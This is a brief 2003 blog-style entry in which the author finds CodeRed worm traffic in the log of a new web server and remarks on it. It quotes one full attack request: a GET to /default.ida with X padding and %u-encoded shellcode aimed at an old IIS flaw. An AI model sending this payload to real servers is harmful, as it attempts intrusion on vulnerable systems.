Crack This!

Volume 6, Issue 17; 18 May 2003

You can run, but I guess you can't hide.

The belief in a supernatural source of evil is not necessary; men alone are quite capable of every wickedness.

Joseph Conrad

This site has been online for less than two weeks; to the best of my knowledge, it isn't publically advertised anywhere.

You can imagine that I was a little bit surprised to discover entries like the following in my server log:

GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X%u9090%u6858%ucbd3%u7801%u9090%u6858%uc
bd3%u7801%u9090%u6858%ucbd3%u7801%u9090%
u9090%u8190%u00c3%u0003%u8b00%u531b%u53f
f%u0078%u0000%u00=a

They're coming from all over, at a rate of a little more than one an hour.

It didn't take Google very long to tell me that this is some variant of the CodeRed virus. I knew it existed, of course, but I'd never paid it any mind. There's no Windows software around here for it to infect. I'll admit a mild curiosity about why a GET of the form above should spread a virus, but not enough curiosity to go and find out.

Malicious bastards.